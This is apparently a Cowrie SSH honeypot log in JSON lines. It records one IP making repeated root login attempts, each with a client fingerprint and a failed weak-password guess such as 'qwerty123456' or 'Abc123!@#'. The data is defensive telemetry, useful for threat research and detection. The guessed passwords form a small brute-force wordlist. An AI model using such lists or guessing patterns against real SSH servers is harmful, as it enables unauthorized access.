{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:27.615536Z","src_ip":"60.165.124.241","session":"3d63ba06706c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"box1!@3056","message":"login attempt [root/box1!@3056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:28.346788Z","src_ip":"60.165.124.241","session":"3d63ba06706c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:29.587527Z","src_ip":"60.165.124.241","session":"3d63ba06706c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43844,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2f9be5e1bf","protocol":"ssh","message":"New connection: 60.165.124.241:43844 (10.17.0.5:22) [session: 6a2f9be5e1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:29.826866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:29.832065Z","src_ip":"60.165.124.241","session":"6a2f9be5e1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:30.075575Z","src_ip":"60.165.124.241","session":"6a2f9be5e1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0admin123456","message":"login attempt [root/7ujMko0admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:30.817541Z","src_ip":"60.165.124.241","session":"6a2f9be5e1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:32.062633Z","src_ip":"60.165.124.241","session":"6a2f9be5e1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46872,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bbb3f714e29","protocol":"ssh","message":"New connection: 60.165.124.241:46872 (10.17.0.5:22) [session: 3bbb3f714e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:32.307231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:32.311110Z","src_ip":"60.165.124.241","session":"3bbb3f714e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:32.563167Z","src_ip":"60.165.124.241","session":"3bbb3f714e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!@#","message":"login attempt [root/Abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:33.302730Z","src_ip":"60.165.124.241","session":"3bbb3f714e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:34.543310Z","src_ip":"60.165.124.241","session":"3bbb3f714e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c41ce3bda2","protocol":"ssh","message":"New connection: 60.165.124.241:49666 (10.17.0.5:22) [session: c6c41ce3bda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:34.782430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:34.787716Z","src_ip":"60.165.124.241","session":"c6c41ce3bda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:35.039776Z","src_ip":"60.165.124.241","session":"c6c41ce3bda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq!@wsxCDE","message":"login attempt [root/zaq!@wsxCDE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:35.776987Z","src_ip":"60.165.124.241","session":"c6c41ce3bda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:37.031681Z","src_ip":"60.165.124.241","session":"c6c41ce3bda2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52832,"dst_ip":"10.17.0.5","dst_port":22,"session":"02c11b1baa4d","protocol":"ssh","message":"New connection: 60.165.124.241:52832 (10.17.0.5:22) [session: 02c11b1baa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:37.267050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:37.271248Z","src_ip":"60.165.124.241","session":"02c11b1baa4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:37.515458Z","src_ip":"60.165.124.241","session":"02c11b1baa4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winner","message":"login attempt [root/winner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:38.271793Z","src_ip":"60.165.124.241","session":"02c11b1baa4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:39.515306Z","src_ip":"60.165.124.241","session":"02c11b1baa4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55578,"dst_ip":"10.17.0.5","dst_port":22,"session":"77268a472ea4","protocol":"ssh","message":"New connection: 60.165.124.241:55578 (10.17.0.5:22) [session: 77268a472ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:39.765573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:39.769917Z","src_ip":"60.165.124.241","session":"77268a472ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:40.021658Z","src_ip":"60.165.124.241","session":"77268a472ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Teste123@","message":"login attempt [root/Teste123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:40.765898Z","src_ip":"60.165.124.241","session":"77268a472ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:42.007034Z","src_ip":"60.165.124.241","session":"77268a472ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea8ac3a32e6","protocol":"ssh","message":"New connection: 60.165.124.241:58394 (10.17.0.5:22) [session: 3ea8ac3a32e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:42.243852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:42.248486Z","src_ip":"60.165.124.241","session":"3ea8ac3a32e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:42.500959Z","src_ip":"60.165.124.241","session":"3ea8ac3a32e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Orange","message":"login attempt [root/Orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:43.229981Z","src_ip":"60.165.124.241","session":"3ea8ac3a32e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:44.471675Z","src_ip":"60.165.124.241","session":"3ea8ac3a32e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"40149164050d","protocol":"ssh","message":"New connection: 60.165.124.241:33194 (10.17.0.5:22) [session: 40149164050d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:44.708586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:44.713666Z","src_ip":"60.165.124.241","session":"40149164050d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:44.953040Z","src_ip":"60.165.124.241","session":"40149164050d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123456","message":"login attempt [root/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:45.675348Z","src_ip":"60.165.124.241","session":"40149164050d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:46.923379Z","src_ip":"60.165.124.241","session":"40149164050d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36016,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e317034a911","protocol":"ssh","message":"New connection: 60.165.124.241:36016 (10.17.0.5:22) [session: 0e317034a911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:47.194292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:47.199030Z","src_ip":"60.165.124.241","session":"0e317034a911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:47.454211Z","src_ip":"60.165.124.241","session":"0e317034a911","protocol":"ssh"}
